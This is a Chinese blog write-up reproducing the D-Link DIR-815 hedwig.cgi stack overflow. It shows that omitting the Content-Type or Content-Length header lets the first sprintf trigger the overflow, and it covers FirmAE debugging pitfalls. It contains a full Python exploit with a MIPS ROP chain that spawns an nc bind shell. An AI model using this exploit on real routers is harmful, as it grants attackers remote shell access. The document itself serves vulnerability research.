DIR-815 栈溢出二三事

  • 参考资料
  • 写作原因
  • 程序分析
  • 利用手法
  • 踩坑相关
  • 总结

参考资料

《揭秘家用路由器0day漏洞挖掘技术》第10章
winmt师傅的复现
F01TH师傅的复现

写作原因

写这篇文章的起因是我参照网上的教程与《揭秘家用路由器0day漏洞挖掘技术》一书进行DIR-815路由器栈溢出漏洞的复现。在此过程中,发现几乎所有资料都特意提到了漏洞爆发于第二个sprintf处。不过,经过逆向与调试,我发现这一说法本身存在问题(来源应该就是《0day》一书中的描述)

实际上,经我测试,通过使用不合法的http请求头,可以绕过相关的验证,直接使用第一个sprintf触发栈溢出并返回,简化了exp流程。

此外,本文还记录了使用FirmAE进行设备模拟与远程调试方面的踩坑过程,希望能对大家有所帮助。

程序分析

这里只对涉及到触发漏洞的环境变量与全局变量部分做解释。先来说一下《0day》这本书里的分析。如下图所示

IDA反编译结果如下(第一处sprintf):

第二处sprintf:

观察一下第一个sprintf,可以看到执行完后有v7haystack两个变量控制的跳转。
v7就是fopen的结果,真机存在该目录,所以恒真。关键在于haystack这个变量。
涉及这个变量的部分位于sub_4096AC中,而该函数的指针被传入了cgibin_parse_request这个函数中。

cgibin_parse_request函数:


正常情况下,我们的http请求中都会带有正常的content-typecontent-length字段。如果是这样的话,就会进入if(v7)中的while(1)这个循环,并在循环中返回。
顺便说一句,图中的stru_42c014为程序自定义结构体,格式为|字符串地址|字符串长度|函数地址|,结合上文,综合作用是通过检查Content-Type中的起始类型(application/audio/example)跳转到相应的处理函数。

如果我们的POST包中字段Content-Typeapplication/x-www-form-urlencoded的话,就会跳转到sub_403B10,进一步进入sub_402FFC函数。在该函数中,会进一步调用sub_402B40函数,并通过引用栈指针的方式,调用sub_4096AC函数,从而修改了heystack的值。

sub_403B10:

sub_402B40中最终调用sub_4096AC的部分:

对应的调试结果:

所以,在POST包中字段Content-Typeapplication/x-www-form-urlencoded的话,就会对heystack进行赋值,从而导致程序一直执行到第二个sprintf处并触发栈溢出。

那么,如果我们改造或完全删除Content-TypeContent-Length两个字段,避免这一系列的函数调用,那不就可以在第一个sprintf后直接返回造成栈溢出了么?(haystack保持为0后,可以直接goto LABEL_34,再goto LABEL_25,直接正常返回)

利用手法

看看cgibin_parse_request函数的开头:

)
只需要我们让Content-TypeContent-Length中任何一个字段不存在或令Content-Length字段的值为0,就可以让v7=0。而这么做的后果就是——if(v7)这个分支被完全跳过,函数直接从return v9正常返回。
然后就可以一路执行到if(!haystack)处,直接多跳返回。这样就完成了利用第一个sprintf进行栈溢出攻击。

最终exp如下,这里采用的是正连shell的方式:

from pwn import*
import urllib3
from http.client import HTTPConnection
HTTPConnection.debuglevel=1http = urllib3.PoolManager()url = "http://192.168.0.1:80/hedwig.cgi"cmd = b'nc  -lvp 8888 -e /bin/sh &&'
#cmd = b'ln -s /bin/busybox /bin'
libc_base = 0x77f34000payload = b'a'*1007 #溢出长度稍有不同
payload += p32(libc_base + 0x53200 - 1) # s0  system_addr - 1
payload += p32(libc_base + 0x169C4) # s1  addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += p32(0x7fff67e0+24)*7 #system参数地址,直接使用栈地址
payload += p32(libc_base + 0x32A98) # ra  addiu $s0, 1 (=> jalr $s1)
payload += b'a'*24
payload += cmdheaders = {"Cookie"        : b"uid=" + payload,
#    "Content-Type"  : b"abcd",
#    "Content-length": b"0",
}r = http.request('POST', url , headers=headers)
print(r.headers)

打完exp后本地nc远程的8888端口即可。

第一个sprintf在溢出数据结尾有/postxml(sprintf格式化的结果),由于我们使用的system参数正是结尾的这一部分栈字符串,需要在payload中加入&&||进行bypass。此外,由于返回流程不完全相同,system参数变为s3,故在溢出过程中将含s3的一连串寄存器均置为相应的栈地址(p32(0x7fff67e0+24)*7)。

踩坑相关

  • FirmAE本身很好用,但默认busybox很烂(没有nc),在shell连接后的/firmadyne目录下有需要用到的所有工具(包括一个新版的busyboxgdbserver),替换掉原有busybox并建立nc的软链接,这样才能使用nc命令并反弹shell。

  • 直接使用FirmAE脚本提供的gdbserver可能看不到httpd进程。调试时先ps找一下httpdpid,再用gdbserver attach上去即可。

  • gdbserver在开了ASLR的情况下无法跟进子进程,设置了set follow-fork-mode child也不行,暂且不清楚原因

  • 一开始使用了requests库编写exp,后来发现requests会自动纠正不正常的数据包header,故改用urllib3完成。

  • 在脚本中添加from http.client import HTTPConnection HTTPConnection.debuglevel=1两句,打开调试模式,可以看见发送的完整数据包,便于观察与调整exp。

总结

  • 尽信书则不如无书,安全需要的正是旁逸斜出的思维。

  • requests库本身是专用于爬虫领域的,它可能对于爬虫工程师来说很友好,但如果进行安全方面的研究,建议使用原始的urllib、urllib2、urllib3库来构造定制化程度更高的payload。
  • 直接绕过不用分析代码好爽啊

DIR-815 栈溢出二三事相关推荐

  1. AFL二三事——源码分析

    AFL二三事--源码分析 前言 AFL,全称"American Fuzzy Lop",是由安全研究员Michal Zalewski开发的一款基于覆盖引导(Coverage-guid ...

  2. cocos2d Labels and Fonts 标签和字体(附:关于Hiero的二三事)

    Labels and Fonts 标签和字体 Introduction 介绍 cocos2d 支持 TTF (True Type Fonts) 标签和纹理 atlas 标签. Pros and Con ...

  3. 缓存架构设计细节二三事

    缓存架构设计细节二三事 原创 2016-03-08 58沈剑 架构师之路 本文主要讨论这么几个问题: (1)"缓存与数据库"需求缘起 (2)"淘汰缓存"还是&q ...

  4. python输入y继续运行_Python二三事 - 接触Python(x,y)

    注释:本文原来转自博客大巴的一篇文章,向原作者致谢!我也做了相应的修改,更加完善对于Pythonx,y的介绍 Python 二三事 面向初学者介绍Python相关的一些工具,以及可能遇到的常见问题. ...

  5. WinForm二三事(一)消息循环

    在进入正文之前,想请大家先欣赏下面两段代码: 1: //这是一个控制台程序,请先添加System.Windows.Form.dll的引用 2: using System.Windows.Form; 3 ...

  6. 【见闻录系列】我所理解的搜索业务二三事

    [见闻录系列]我所理解的搜索业务二三事 FexianXu 20220730 at Baidu Search Team 前言 之前笔者在博文[1]中谈到了在工作一年的过程中,笔者对"业务&qu ...

  7. dva处理_关于dva框架的二三事

    关于dva框架的二三事 发布时间:2018-06-24 15:31, 浏览次数:618 , 标签: dva 前言 我开通了一个微信公共号"王和阳的航海日志",在上面记录着自己的学习 ...

  8. 计算机的二三事——软件篇

    计算机的二三事--软件篇 写在前面 第一部分 操作系统 1.1 操作系统(OS) Windows MacOS Linux 1.2 操作系统的架构(x86(32位)/x64(64位)/arm(64位)) ...

  9. 单身程序员上班路上二三事(一)

    单身程序员上班路上二三事(一) 公交车上,前面和中间那部分在早高峰总是人满为患的.我挤到最后一排靠窗座的邻座,这是我最爱的位置. 下一站,上来一个身材高挑,头发乌黑笔直的Female,虽戴着口罩,但眉 ...

最新文章

  1. 2020中国规模化敏捷大会-报名进行时
  2. 数组作为函数参数进行传递
  3. 洛谷 - P1142 - 轰炸 - 计算几何
  4. Python 序列与映射的解包操作
  5. python抖音github_GitHub - eternal-flame-AD/Douyin-Bot: Python 抖音机器人,论如何在抖音上找到漂亮小姐姐?...
  6. flask运行多个服务器,与Flask服务器同时运行while循环
  7. 亚信科技数据库AntDB通过金融分布式事务数据库标准测试
  8. 丽水数据可视化设计价格_B端产品设计数据可视化图表选择篇
  9. 繁体字_学认繁体字?你可能是低估了汉字的难度
  10. mysql查询重复用户名_mysql取出以上用户名(去除重复),score值最高的所有记录,查出重复记录...
  11. Angular学习笔记(五) - 自定义表单控件
  12. 白板推导系列Pytorch-隐马尔可夫模型-解码问题
  13. 安装firefox扩展(xpi)文件的简便方法
  14. 有人说做运营死路一条,但他没搞清运营是做什么的!
  15. 名言警句(英语和汉语)
  16. Process finished with exit code -1073740791 (0xC0000409)
  17. R语言解读多元线性回归模型
  18. JavaScript - PC 端通过纯 js 播放音频文件(播放提示音)
  19. ST官网获取并生成常用PCB EDA工具的原理图库和封装库方法
  20. [学习路线图1]PHP学习路线图(初级)

热门文章

  1. CCNA认证培训介绍
  2. 邮件服务extmail
  3. 衡量企业是否赚钱的指标--经济附加值(EVA) 计算
  4. Linux下网络不可达
  5. 计算机组成原理为什么要学,学习计算机组成原理的感想
  6. 性格内向的我选择了学习瓦工
  7. mysql还原某个数据库_mysql还原某个数据库
  8. linux mysql开远程访问,Linux mysql开启远程访问
  9. 360安全卫士和其他p2p的关闭,防止拖速度
  10. qt 关闭窗口的槽函数_QT-信号槽(点击按钮关闭窗口)